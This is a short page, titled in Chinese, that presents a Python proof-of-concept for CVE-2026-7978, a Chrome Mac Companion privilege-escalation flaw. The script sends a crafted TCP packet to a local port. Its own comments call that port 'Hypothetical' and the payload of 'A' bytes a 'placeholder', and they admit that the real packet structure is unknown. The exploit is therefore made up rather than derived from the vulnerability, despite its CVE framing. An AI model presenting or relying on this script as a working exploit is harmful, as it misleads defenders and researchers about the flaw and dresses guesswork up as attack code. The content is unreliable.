CVE-2026-7978 Chrome Mac Companion权限提升漏洞

import socket import struct # PoC for CVE-2026-7978: Chrome Mac Companion Privilege Escalation # This script sends a crafted network packet to trigger the inappropriate implementation. # Note: The specific packet structure requires further reverse engineering of the Chrome Companion binary. TARGET_IP = "127.0.0.1" TARGET_PORT = 9999 # Hypothetical port used by Companion def create_malicious_packet(): # Constructing a header that bypasses initial checks header = struct.pack('!IHH', 0x4D414354, 0x01, 0x01) # Malicious payload designed to corrupt memory or logic flow # This placeholder simulates an overflow or specific trigger sequence payload = b"A" * 100 payload += b"\x00\x00\x00\x00" # Alignment/Trigger bytes return header + payload def send_exploit(): try: print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) packet = create_malicious_packet() print(f"[*] Sending malicious packet ({len(packet)} bytes)...") s.send(packet) print("[+] Payload sent. Check for crash or privilege escalation.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()